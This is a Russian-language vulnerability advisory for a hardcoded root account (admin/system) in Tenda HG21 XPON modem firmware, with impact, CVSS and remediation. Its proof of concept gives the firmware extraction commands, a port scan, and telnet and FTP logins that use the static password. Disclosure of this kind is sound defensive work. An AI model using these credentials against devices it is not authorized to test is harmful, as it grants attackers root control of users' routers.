CVE-2026-38577 — Tenda HG21: Жестко заданные учетные данные root

Сводка

Описание

Анализ прошивки XPON-модема Tenda HG21 выявил жестко заданную административную учетную запись, встроенную в поставляемый образ прошивки. Учетная запись имеет полные привилегии root (UID 0), а ее учетные данные статичны на всех устройствах, что означает: любой злоумышленник, имеющий доступ к открытой службе управления на уязвимом устройстве, может аутентифицироваться как root, не зная пароль веб-интерфейса, заданный пользователем.

Где это было обнаружено

• В /etc/passwd извлеченной прошивки присутствует запись admin с SHA256crypt-хешем пароля, который соответствует статическому значению system.
• UID учетной записи — 0, то есть это и есть root, а не ограниченная служебная учетная запись.
• Файл /etc/shadow отсутствует, поэтому слабый/статический хеш в passwd является единственным барьером, защищающим учетную запись.
• /etc/inetd.conf запускает telnetd и ftpd, оба процесса работают от имени root, поэтому жестко заданная учетная запись доступна по сети, а не только через последовательную/UART-консоль.
• Веб-интерфейс управления обслуживается только по обычному HTTP (без TLS), что является вторичным пробелом в защите, но само по себе не относится к CVE.

Воздействие

Злоумышленник, имеющий сетевой доступ к службам telnet (TCP/23) или FTP (TCP/21) уязвимого устройства, может войти как admin, используя статический пароль, и получить root-оболочку / доступ к файлам на уровне root. Это позволяет, как минимум:

• Выполнение кода — root-оболочка через telnet.
• Повышение привилегий — границы привилегий отсутствуют; учетная запись сразу работает от имени root.
• Раскрытие информации — полный доступ к файловой системе/конфигурации, включая любые учетные данные клиентской сети, хранящиеся на устройстве.

Векторы CVSS из первоначальной заявки (оценка производителя может отличаться после публикации):

• Вектор атаки: Сеть
• Требуемые привилегии: Отсутствуют (учетные данные жестко заданы/известны)
• Взаимодействие с пользователем: Отсутствует
• Конфиденциальность / Целостность / Доступность: Высокая / Высокая / Высокая

Доказательство концепции

Это основанное на учетных данных PoC — оно демонстрирует, что жестко заданная учетная запись проходит аутентификацию и предоставляет root, а не эксплойт повреждения памяти. Запускайте это только против устройства, которым вы владеете или на тестирование которого у вас есть явное разрешение.

1. Подтвердите наличие учетных данных в прошивке

# Извлеките прошивку (binwalk или инструмент производителя на ваш выбор)
binwalk -e US_HG21re_300002982_en_xpon_2.bin

# Найдите и проверьте файл passwd
find . -name passwd
cat squashfs-root/etc/passwd
# -> admin:<sha256crypt-хеш-"system">:0:0:root:/root:/bin/sh

2. Подтвердите доступность службы

nmap -p 21,23 <target-ip>

3. Аутентифицируйтесь с помощью жестко заданной учетной записи

telnet <target-ip>
# login: admin
# password: system

ftp <target-ip>
# Name: admin
# Password: system

Успешный вход в любую из служб возвращает root-оболочку/FTP-сессию (id покажет uid=0(root)).

Устранение

• Производителю следует полностью удалить жестко заданную учетную запись admin/system или, как минимум, принудительно задать уникальный, случайный пароль для каждого устройства при первой загрузке (не выводимый только из серийного номера).
• Отключить telnetd/ftpd по умолчанию; требовать явного согласия и аутентифицированного зашифрованного канала (SSH/SFTP) для удаленного администрирования.
• Обслуживать интерфейс управления только через HTTPS.
• Ротировать статические учетные данные на уже развернутых устройствах через обязательное обновление прошивки и принудительно сбрасывать пароль при обновлении.

Хронология

Авторы

Обнаружено и сообщено:

• Anmol Singh Rajput — LinkedIn
• Deepak G — LinkedIn

Ссылки

• https://www.tenda.com.cn
• https://cwe.mitre.org/data/definitions/798.html